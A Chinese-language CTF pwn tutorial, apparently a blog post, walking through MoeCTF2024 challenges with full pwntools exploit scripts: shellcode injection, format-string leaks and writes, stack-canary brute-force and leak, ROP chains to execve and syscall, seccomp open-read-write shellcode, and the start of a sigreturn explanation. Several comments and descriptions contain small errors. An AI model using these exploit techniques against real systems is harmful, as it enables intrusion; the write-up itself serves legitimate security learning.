从0开始的ctf旅行之pwn篇(中篇)
前言
上篇:https://www.cnblogs.com/resea/p/18683288
题目均来自MoeCTF2024
前篇日后谈
为什么可以直接将要传参数据放置在栈上
有的师傅可能有疑问,尽管劫持了溢出函数的返回地址,但是为什么可以把要传递的数据(或数据地址)放在栈上,运行到数据的时候不应该会出错吗?
这里补充一些知识
- 寄存器
rsp:指向栈顶 - 寄存器
rbp:指向栈底 - 寄存器
rip: 指向下一条指令的地址 - 汇编指令
leave:相当于mov rsp rbp;、pop rbp; - 汇编指令
ret:相当于pop rdi;
32位的情况
以这是什么?32-bit为例子,这个是vuln的函数结尾区域

这是我们写入的payload:
payload = flat([
cyclic(0x28+0x4),
file.sym['execve'],
0,
file.search(b"/bin/sh\x00").__next__(),
0,
0,
])
写入前,函数正常运行应该是这样的:(这里偷懒用了64位的寄存器,实际上32位同理)

写入后,栈上变成了这样:

接下来vuln函数要继续运行了,运行到快返回的时候:

触发leave:

此时触发ret:

正好将file.sym['execve']的地址弹入rdi

接下来依据execve的内部构造,会把当前rsp的地址上的值认为是返回地址,剩下三个是参数
64位的情况
64位的情况和32位大差不差,都是因为函数结束的leave;ret;在起作用,也就是说只要时刻记住被溢出函数返回前会调用一次leave;ret;,然后结合题目进行分析就好。
十一、强者处处是惊喜(ez_shellcode)
欸,让我看看你保护开启的正不正常啊


简单的栈溢出,应该又要手搓后门了,但是没给libc.so.6又不太像,看看保护吧

欸,什么NX保护没开,有允许写入到栈上
- 修改读入数据为需要的数据
- 读取
nbytes_4位置 - 写入shellcode
- 溢出返回到
nbytes_4位置
写代码:
from pwn import *
context(arch='AMD64', os='linux', log_level='debug')
io = process("./pwn")
file = ELF("./pwn")
io.recvuntil("age")
io.sendline('150')
io.recvuntil("you :\n")
buf_addr = int(io.recvuntil('\n').decode(), 16)
payload = asm(shellcraft.sh()).ljust(0x68, b'\x00') + p64(buf_addr)
io.recvuntil("say")
io.send(payload)
io.interactive()
这道题本质上是栈上可运行(NX保护关闭)
十二、就不能让我打印一些正常的东西吗(leak_sth)
いええ、いええ、那样就和正常的函数没有区别了
格式字符串教程:https://www.yuque.com/hxfqg9/bin/aedgn4
一定要看教程再往下走,这个师傅的教程已经很详细了。
教程补充
教程讲的主要是32位的情况,64位的反而更加简单,因为64位主要通过寄存器传参
来做题吧


我们发现存在一个明显的格式化字符串漏洞printf(buf);
思路
首先通过AAAA偏移法确定偏移,输入
AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

发现偏移为8,接下来我们就挨个使用%1$d来查看从1到7的数字。

我们发现在%7$d时候成功泄露了密码,至于原因,在栈上,v3正好在buf前一个

打通
十三、虽然这个函数没有写,但是可以写入数据(LoginSystem)
我特殊召唤我的拳头对你进行直接攻击!


我们发现我们要不泄露password,要不直接修改它,发现password不在栈上,考虑直接方法二


发现没开PIE,那么password本地和远程的是一致的,来看看偏移,用AAAA定位法

接下来使用pwntools.fmtstr模块来进行写入
教程:https://lzeroyuee.cn/2021/02/28/Linux-Pwn-pwntools-fmtstr模块/
password_arr = 0x404050
pwnlib.fmtstr.fmtstr_payload(8, {password_arr: p64(0)}, numbwritten=0, write_size='byte')
直接把password写入成b'\x00\x00\x00\x00\x00\x00\x00\x00\x00'
最终代码:
from pwn import *
context(arch='AMD64', os='linux', log_level='debug')
#io = process("./pwn")
io = remort("191.168.112.1",24561)
file = ELF("./pwn")
libc = ELF('./libc.so.6')
password_arr = 0x404050
io.send(pwnlib.fmtstr.fmtstr_payload(8, {password_arr: p64(0)}, numbwritten=0, write_size='byte'))
io.send(p64(0))
io.interactive()
十四、金丝雀得了mvp,NX是躺赢狗(Catch_the_canary!)
你老是在意那个保护出场率干什么?他会把保护机制的付出给异化掉的懂吧!
NX辛辛苦苦打满全场,结果出来一看评分3.0,哇,金丝雀得了mvp!NX是躺赢狗

进去题目看看,题目比较长,我们一个个来看
金丝雀教程https://www.cnblogs.com/ONEZJ/p/18088661/canary-golden-skin-protection-z9qffl
第一部分

读入scabf("%u",&v6)然后和v8比较,直到对了就可以过了,这里在模拟32位下金丝雀只有3位有效位,可以直接新建子线程爆破。(即我们只需要爆破b'\x00'+b''\x??\x??\x??'这三位就ok)
代码:
io.sendline(str(0x00abcd00).encode())
# 理论上是0x0 - 0x01000000,但是爆破时间太久了,直接缩小范围爆破(实际上就是赌)
for i in range(0x00ffdcba, 0x01000000):
io.sendlineafter(b'n.\n', str(i).encode())
rec = io.recvuntil(b'] ')
if b'Error' not in rec:
print("Found: ", hex(i))
break
第二部分

这里概括起来就是要干以下操作:

- 不能覆盖
v9[0] - 覆盖
n182271573为195874819
但是只有两次输入机会,还没办法知道v9[0]的值怎么办呢?
这里要用到一个scanf特性:当接收到非对应类型的数据时候,会等待输入正确的数值(讲真的能想出这个的也是神人,在本地复现100%栈堆粉碎,但是这道题真就是这个解法)输入-、100、195874819即可,代码:
io.sendlineafter(b't.\n', b'-')
io.sendline(b'100')
io.sendline(str(195874819).encode())
第三部分


接下来就是覆盖金丝雀前一个字节,让puts打印出来,然后覆盖回去
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
合在一起
from pwn import *
from tqdm import tqdm
context(arch='AMD64', os='linux', log_level='debug')
io = process("./mycanary")
# io = remote()
file = ELF("./mycanary")
io.sendline(str(0x00abcd00).encode())
for i in range(0x00ffdcba, 0x01000000):
io.sendlineafter(b'n.\n', str(i).encode())
rec = io.recvuntil(b'] ')
if b'Error' not in rec:
print("Found: ", hex(i))
break
io.sendlineafter(b't.\n', b'-')
io.sendline(b'1')
io.sendline(str(0xbacd003).encode())
io.send(b'a'*(0x20-0x8) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))
print("Canary: ", hex(canary))
io.send(b'a'*(0x20-0x8) + p64(canary) + cyclic(8)+ p64(0x00000000004012A8))
# 填满缓冲区 + 填充金丝雀 + 填充栈上rbp + 填充返回地址
io.interactive()
十五:没有后门就创造后门!(System_not_found!)
正经人谁会留一个后门来给你打啊?
看题目给了libc,就知道又要构造利用链了,还是看看main函数吧
一下是一些题目剧透,但是我认为新手完全没必要折磨自己(至少目前少了这个很难)
题目提示
观察main运行到即将返回时rdi的值,发现其值恰好为libc里的函数funlockfile地址的地址
首先映入眼帘的是一个溢出,可以溢出0x17 - 16直接能改到nbytes,而nbytes又能控制写入buf_1来实现无限溢出,看了看题目,没有给后门,那就要手动搓一个后门了。
思路
常规思路是:
- 泄露libc基址
- 返回main,再次触发漏洞
- 使用64位传参,进行漏洞利用
那,开始?
首先,先利用溢出修改nbytes,获得无限读
io.recvuntil(b">")
io.send(flat([
cyclic(16),
p64(0x100)[:6], #坑点
]))
这里有一个比较坑的点在于,由于覆盖的是size_t类型,使用p64(0x100)[:6],既不能太大,又要[:6]来处理,否则打不通,之后会接受到一个函数地址,观察main快返回时候rdi值发现恰好为libc内的funlockfile(注意力惊人,讲真的建议直接当成已知条件)
io.recvuntil(b">")
io.send(flat([
cyclic(0x28+0x8),
file.plt['puts'],
file.sym['main'], # 返回到main再次触发漏洞
]))
funlockfile_addr = u64(io.recvn(6).ljust(8, b'\x00'))
libc.address = funlockfile_addr - libc.sym['funlockfile'] #设置基址
然后再来一次:
io.recvuntil(b">")
io.send(flat([
cyclic(16),
p64(0x100)[:6],
]))
接下来就是构造利用链条
io.recvuntil(b">")
io.send(flat([
cyclic(0x28+0x8),
libc.search(asm('pop rdi; ret;')).__next__(), # pop rdi; ret
libc.search("/bin/sh").__next__(), # execve的第一个参数/bin/sh
libc.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0, # execve的第二个参数(环境参数)NULL
libc.sym['execve'],
]))
io.interactive()
就可以了,完整代码:
from pwn import *
one_getshell: list[int] = [0x45216,0x4526a,0xf02a4,0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("192.168.112.1",53456)
file = ELF("./dialogue")
libc = ELF("./libc.so.6")
io.recvuntil(b">")
io.send(flat([
cyclic(16),
p64(0x100)[:6],
]))
io.recvuntil(b">")
io.send(flat([
cyclic(0x28+0x8),
file.plt['puts'],
file.sym['main'],
]))
io.recvuntil(b".\n")
funlockfile_addr = u64(io.recvn(6).ljust(8, b'\x00'))
libc.address = funlockfile_addr - libc.sym['funlockfile']
io.recvuntil(b">")
io.send(flat([
cyclic(16),
p64(0x100)[:6],
]))
io.recvuntil(b">")
io.send(flat([
cyclic(0x28+0x8),
libc.search(asm('pop rdi; ret;')).__next__(), # pop rdi; ret
libc.search("/bin/sh").__next__(),
libc.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
libc.sym['execve'],
]))
io.interactive()
一些细节讲解:
1.什么时候用system,什么时候用execve,什么时候用syscall
简而言之:
- 文件本体用
system(函数级别) - libc里面用
execve(函数级别) syscall是汇编级别的
一般来说,system只需要设置一个参数(也不常见,一般是题目给后门),execve需要两个参数,一般在libc里面(参考本题),至于syscall更是重量级,需要指定系统调用号,以及程序参数、环境变量、传递参数。
system食用方法:
io.send(flat([
cyclic(0x28+0x8),
file.search(asm('pop rdi; ret;')).__next__(), # pop rdi; ret
file.search("/bin/sh").__next__(),
file.plt['system'],
]))
execve食用方法:
io.send(flat([
cyclic(0x28+0x8),
libc.search(asm('pop rdi; ret;')).__next__(), # pop rdi; ret
libc.search("/bin/sh").__next__(),
libc.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
libc.sym['execve'],
]))
syscall食用方法:
io.send(flat([
cyclic(0x28+0x8),
libc.search(asm('pop rax; ret;')).__next__(), # pop rdi; ret
59,
libc.search(asm("pop rdi; ret;")).__next__(), # pop rdi; ret
libc.search("/bin/sh").__next__(),
libc.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
libc.search(asm("pop rdx; ret;")).__next__(), # pop rdx; ret
0,
libc.search(asm("syscall")).__next__(),
]))
2.为什么可以这么排布payload?
这里先介绍两条汇编指令:leave、ret
leave相当于mov rip rbp;+pop rbpret相当于pop rip
相信有的师傅对这三个寄存器的作用不太熟,还是贴一下:
rip程序下一条运行命令地址(不是当前地址,那是pc寄存器)rsp栈顶地址rbp栈底地址
在每一个函数结尾,一般来说都会有这两条指令

请注意,read等系统调用一般没有leave,只有ret,具体要动态调试查看
让我们走一遍,看看这两条指令作用:
初始栈:

填充后:

leave一阶段mov rip rbp;

leave二阶段pop rbp

此时rbp已经不知道飞哪里去了,但是影响不大(目前情况下)
ret 相当于 pop rip

此时程序即将运行到pop rdi; ret;的地址(请注意,pop rdi; ret;这个指令不在栈上,栈上是pop rdi; ret;这个指令的地址,之后都是地址,不再说明)
此时我们惊讶地发现,此时pop rdi;正好将栈顶的/bin/sh地址放到了rid里,

还记得ret;吗,对的,正好又把pop rsi; ret;的地址放到了放到了下一条运行的指令里,接下来如法炮制,直到最后一处libc.sym['execve'],像不像一根链条?这就是ROP链
3.主播主播,你的注意力确实很强,但还是太吃操作了,有没有不需要注意力也能打的机制推荐。
有的兄弟有的,这么强的技术当然不止一个,这里要给你介绍一个技术:栈迁移!以后会学,不急。这里我来展示一下(待填坑)
4.为什么选择了puts来泄露真实地址
原因很简单,plt表对应的就是函数实际运行的地址(也就是got表),puts会把这个地址上的当成字符串打印出来(人话:plt上地址是got对应的地址,put打印plt相当于打印got地址),于是泄露了真实地址。再加上只要一个参数,方便欺负(x)
十六、怎么又是字符串?(NX_on!)
世界上有60%的bug来自于C风格字符串及其处理
进来看看题目

发现一个read(0LL, p_buf2, 25LL);,好像可以溢出欸

正好可以覆盖到金丝雀前一个字节。
然后再看到了read(0LL, &buf2, 256LL);,好大的写入,看看buf2发现在.bss段,也写不到什么地方。

继续看下去

这里要求输入一个int n16,但是不允许大于16,然后memcpy我们写入的东西到栈上。有什么办法绕过呢?
这里补充一个小知识:

int memcmp(const void *__s1, const void *__s2, size_t __n)
ん?size_t __n? 还记得我们的n16是啥吗?对的,int!也就是说我们可以通过写入int<16而size_t(无符号长整型)大于0的来完成漏洞利用。
让我们写代码
# 经典八股文
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
# io = process("./pwn")
io = remote("192.168.112.1",52896)
file = ELF("./pwn")
# libc = ELF("./libc.so.6")
# 泄露金丝雀经典写法
io.send(b'a'*(24) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))
# 布局payload
payload = flat([
cyclic(0x20-0x8),
p64(canary),
cyclic(0x8),
])
我们发现好像没给libc,同时注意到这道题给了多的离谱的函数,先上ida搜索字符串看看有没有\bin\sh

不过好像也没有发现,那就再看看有没有system或execve函数,不过好像也没有(ノへ ̄、),唯一的好消息就是有syscall和/bin/sh\x00

那就找到所有的妙妙工具,开始布局
payload = flat([
cyclic(0x20-0x8),
p64(canary),
cyclic(0x8),
file.search(asm('pop rax; ret;')).__next__(), # pop rdi; ret
59,
file.search(asm("pop rdi; ret;")).__next__(), # pop rdi; ret
file.search("/bin/sh").__next__(),
file.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
file.search(asm("pop rdx; ret;")).__next__(), # pop rdx; ret
0,
file.search(asm("syscall")).__next__(),
])
结果发现没有找到pop rdx; ret;

这可不好,这就要用到另外一个妙妙工具了:ROPgadget ,我们安装一下:
sudo apt install python3-pip
sudo -H python3 -m pip install ROPgadget
# 或者
sudo apt install python3-ropgadget
ROPgadget --help
使用方法
ROPgadget --binary ./pwn > rop.txt
进来看看,找一找pop rdx; ret;

要求降低一点,试试看pop rdx;?好吧也没有,那试试看pop rdx
我把能找到的都放在这里
0x000000000041daa5 : xor byte ptr [rbp + 1], cl ; pop rdx ; adc byte ptr [rax + 1], cl ; ret 0x349
0x000000000049d124 : add byte ptr [rax], al ; mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000450fb2 : dec byte ptr [rbp - 0x75] ; pop rdx ; or byte ptr [rcx - 0xa], al ; ret
0x000000000048372c : idiv edi ; pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
0x000000000049d1f2 : mov dword ptr [rbx + 0x10], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d127 : mov dword ptr [rbx + 0x18], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4d : mov dword ptr [rbx], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d1f1 : mov qword ptr [rbx + 0x10], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d126 : mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4c : mov qword ptr [rbx], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d12a : pop rax ; pop rdx ; pop rbx ; ret
0x000000000041daa8 : pop rdx ; adc byte ptr [rax + 1], cl ; ret 0x349
0x000000000044198f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441930
0x0000000000441acf : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441a70
0x0000000000441c0f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441bb0
0x0000000000441d4f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441cf0
0x0000000000441e8f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441e30
0x0000000000441fcf : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x441f70
0x000000000044211f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4420c0
0x000000000044226f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442210
0x00000000004423af : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442350
0x00000000004424ef : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442490
0x000000000044262f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4425d0
0x000000000044276f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442710
0x00000000004428af : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442850
0x00000000004429ef : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442990
0x0000000000442b2f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x442ad0
0x000000000044313f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4430e0
0x000000000044327f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443220
0x00000000004433bf : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443360
0x00000000004434ff : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4434a0
0x000000000044363f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4435e0
0x000000000044377f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443720
0x00000000004438cf : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443870
0x0000000000443a1f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x4439c0
0x0000000000443b5f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443b00
0x0000000000443c9f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443c40
0x0000000000443ddf : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443d80
0x0000000000443f1f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x443ec0
0x000000000044405f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x444000
0x000000000044419f : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x444140
0x00000000004442df : pop rdx ; adc byte ptr [rdi], cl ; sub dword ptr [rdx], edx ; lea rdx, [rdx + 0x40] ; jmp 0x444280
0x00000000004988d6 : pop rdx ; add al, byte ptr [rcx - 0x46] ; xor byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4985d6
0x0000000000474466 : pop rdx ; add byte ptr [rax - 0x77], r9b ; ret 0x2949
0x00000000004176ac : pop rdx ; add byte ptr [rax - 0x77], r9b ; ret 0x294c
0x0000000000417cef : pop rdx ; add byte ptr [rax - 0x7f], r9b ; jmp 0x417c76
0x000000000047a36d : pop rdx ; add byte ptr [rcx + r13 - 0x1f], r9b ; jmp 0x47a228
0x000000000042bbc6 : pop rdx ; add eax, 0x83480000 ; ret 0x4910
0x000000000049f5cb : pop rdx ; and esi, esi ; call qword ptr [rax + 0x4003d66]
0x00000000004a386e : pop rdx ; cli ; dec dword ptr [rax + 0xf] ; ret 0x66c3
0x00000000004acfb0 : pop rdx ; cli ; jmp qword ptr [rsi + 0x2e]
0x000000000041db07 : pop rdx ; movups xmmword ptr [r10 + 0x18], xmm0 ; jmp 0x41dae3
0x0000000000425243 : pop rdx ; or al, 0 ; add dh, byte ptr [rdi + rax*2 - 0xa] ; ret 0x7520
0x000000000047d109 : pop rdx ; or byte ptr [rax - 0x7d], cl ; ret 0x8d08
0x0000000000450fb5 : pop rdx ; or byte ptr [rcx - 0xa], al ; ret
0x00000000004554e3 : pop rdx ; or dword ptr [rax], eax ; jmp 0x4552f6
0x000000000049d12b : pop rdx ; pop rbx ; ret
0x0000000000477c32 : pop rdx ; xchg byte ptr [rax], al ; add byte ptr [rax + 0x39], cl ; ret
0x0000000000424439 : pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
我们首先考虑比较短的比较好控制,我们先去掉一大堆不太熟悉的汇编,剩下这些:
0x000000000041daa5 : xor byte ptr [rbp + 1], cl ; pop rdx ; adc byte ptr [rax + 1], cl ; ret 0x349
0x000000000049d124 : add byte ptr [rax], al ; mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d1f2 : mov dword ptr [rbx + 0x10], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d127 : mov dword ptr [rbx + 0x18], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4d : mov dword ptr [rbx], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d1f1 : mov qword ptr [rbx + 0x10], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d126 : mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4c : mov qword ptr [rbx], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d12a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000474466 : pop rdx ; add byte ptr [rax - 0x77], r9b ; ret 0x2949
0x00000000004176ac : pop rdx ; add byte ptr [rax - 0x77], r9b ; ret 0x294c
0x0000000000417cef : pop rdx ; add byte ptr [rax - 0x7f], r9b ; jmp 0x417c76
0x000000000047a36d : pop rdx ; add byte ptr [rcx + r13 - 0x1f], r9b ; jmp 0x47a228
0x000000000042bbc6 : pop rdx ; add eax, 0x83480000 ; ret 0x4910
0x000000000049f5cb : pop rdx ; and esi, esi ; call qword ptr [rax + 0x4003d66]
0x00000000004a386e : pop rdx ; cli ; dec dword ptr [rax + 0xf] ; ret 0x66c3
0x00000000004acfb0 : pop rdx ; cli ; jmp qword ptr [rsi + 0x2e]
0x000000000041db07 : pop rdx ; movups xmmword ptr [r10 + 0x18], xmm0 ; jmp 0x41dae3
0x0000000000425243 : pop rdx ; or al, 0 ; add dh, byte ptr [rdi + rax*2 - 0xa] ; ret 0x7520
0x000000000047d109 : pop rdx ; or byte ptr [rax - 0x7d], cl ; ret 0x8d08
0x0000000000450fb5 : pop rdx ; or byte ptr [rcx - 0xa], al ; ret
0x00000000004554e3 : pop rdx ; or dword ptr [rax], eax ; jmp 0x4552f6
0x000000000049d12b : pop rdx ; pop rbx ; ret
0x0000000000477c32 : pop rdx ; xchg byte ptr [rax], al ; add byte ptr [rax + 0x39], cl ; ret
0x0000000000424439 : pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
然后筛选出结尾是ret;的方便控制
0x000000000049d124 : add byte ptr [rax], al ; mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d1f2 : mov dword ptr [rbx + 0x10], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d127 : mov dword ptr [rbx + 0x18], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4d : mov dword ptr [rbx], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d1f1 : mov qword ptr [rbx + 0x10], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d126 : mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x00000000004aca4c : mov qword ptr [rbx], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d12a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000450fb5 : pop rdx ; or byte ptr [rcx - 0xa], al ; ret
0x000000000049d12b : pop rdx ; pop rbx ; ret
0x0000000000477c32 : pop rdx ; xchg byte ptr [rax], al ; add byte ptr [rax + 0x39], cl ; ret
0x0000000000424439 : pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
很显然比较好看的就这两个:
0x000000000049d12a : pop rax ; pop rdx ; pop rbx ; ret
0x000000000049d12b : pop rdx ; pop rbx ; ret
尽可能短,先试试看0x000000000049d12b : pop rdx ; pop rbx ; ret
payload = flat([
cyclic(0x20-0x8),
p64(canary),
cyclic(0x8),
file.search(asm('pop rax; ret;')).__next__(), # pop rdi; ret
59,
file.search(asm("pop rdi; ret;")).__next__(), # pop rdi; ret
file.search("/bin/sh").__next__(),
file.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
p64(0x000000000049d12b), # pop rdx ; pop rbx ; ret
0, # rdx
0, # rbx
file.search(asm("syscall")).__next__(),
])
完整脚本:
from pwn import *
one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = 'debug'
context.arch = 'amd64'
# io = process("./level2")
io = remote("192.168.112.1",62535)
file = ELF("./pwn")
# libc = ELF("./libc.so.6")
io.sendafter(b"id?", b'a'*(24) + b'g')
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))
payload = flat([
cyclic(0x20-0x8),
p64(canary),
cyclic(0x8),
file.search(asm('pop rax; ret;')).__next__(), # pop rdi; ret
59,
file.search(asm("pop rdi; ret;")).__next__(), # pop rdi; ret
file.search("/bin/sh").__next__(),
file.search(asm("pop rsi; ret;")).__next__(), # pop rsi; ret
0,
p64(0x000000000049d12b), # pop rdx ; pop rbx ; ret
0, # rdx
0, # rbx
file.search(asm("syscall")).__next__(),
])
io.sendafter(b"name?",payload)
io.sendafter(b"quit",b"-1234")
io.interactive()
拿到shell
十七、我怎么弹也弹不到你谱里(shellcode_revenge)

提示要学习沙箱保护
教程 https://www.cnblogs.com/tolele/p/16192150.html
使用seccomp-tools dump ./pwn查看沙箱

也就是说用不了execve了,看看题目吧
看题
菜单

admin登陆

欸,只是单纯的把level设为1了,看看level在哪里

在.bss上
usr登陆

发现读入了name数组里,数组在哪里呢?

.bss上,再看看别的?
create

这不就巧了啊,可以写入name,直接负索引上去改level,稍微计算一下,(0x4060-0x4080)/4,然后写入p64(1)即可成为管理员
operate

执行任意函数
写题
from pwn import *
io = process('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
def input_io(n) :
io.recvuntil(">>>")
io.sendline(str(n))
input_io(3)
io.recvuntil("255")
io.sendline(str(-8))
io.recvuntil("?")
io.sendline(p64(1))
input_io(4)
io.recvuntil("luck.")
# ORW绕过
payload = flat([
shellcraft.open('./flag'),
shellcraft.read(3,0x20240000 + 300,100),
shellcraft.write(1,0x20240000 + 300,100),
])
io.send(payload)
io.interactive()
然后发现flag没出来,测量一下payload长度:

有681长,但是题只读取0xD

太小了,那就再次调用read,由于前面刚刚调用过read(),因此其中的rdi与rax无需再进行设置,只需要修改rdx和rsi即可,使新调用的read能在本段shellcode后面读入足够长的字节
payload2 = '''
mov rdx, 0x2000
add rsi, 0xd
syscall
'''
io.send(asm(payload2))
io.send(asm(payload))
即可打完
完整exp
from pwn import *
io = process('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
def input_io(n):
io.recvuntil(">>>")
io.sendline(str(n))
input_io(3)
io.recvuntil("255")
io.sendline(str(-8))
io.recvuntil("?")
io.sendline(p64(1))
input_io(4)
io.recvuntil("luck.")
# ORW绕过
payload = flat([
shellcraft.open('./flag'),
shellcraft.read(3, 0x20240000 + 300, 100),
shellcraft.write(1, 0x20240000 + 300, 100),
])
payload2 = '''
mov rdx, 0x2000
add rsi, 0xd
syscall
'''
io.send(asm(payload2))
io.send(asm(payload))
io.interactive()
十八、并非内核态(return15)


进来发现题目很干净,除了main就只有一个what可以使用

结合题目syscall,查表得到
https://www.cnblogs.com/tcctw/p/11450449.html

这里直接复制 https://www.jianshu.com/p/09b4aed52e0d 的内容,并且在重点内容加上了提醒.
如果 Linux 内核确定某个进程有一个未阻塞的信号等待处理,那么当该进程下一次从内核态转换回用户态时(例如,从系统调用返回时或当进程被重新调度到 CPU 上时),它会创建用户空间堆栈、或定义的备用堆栈上的一个栈帧,用于保存各种进程上下文(处理器状态字、寄存器、信号掩码和信号堆栈设置)。
之后将会调用信号处理程序,信号处理程序返回时,调用“signal trampoline”的用户空间代码,此代码实现了类似于中断返回的操作,以帮助返回执行用户程序,其工作如下,更详细的描述见我之前翻译的signal
sigreturn() 调用将撤消已完成的所有操作:
更改进程的信号掩码
切换信号堆栈(请参阅 sigaltstack(2))
sigreturn() 将使用先前保存在用户空间堆栈上的信息:
恢复进程的信号掩码
切换堆栈
恢复进程的上下文(处理器标志和寄存器,包括堆栈指针和指令指针)
以便进程恢复在被信号中断的地方执行。
\color{#A00000}{NOTES}
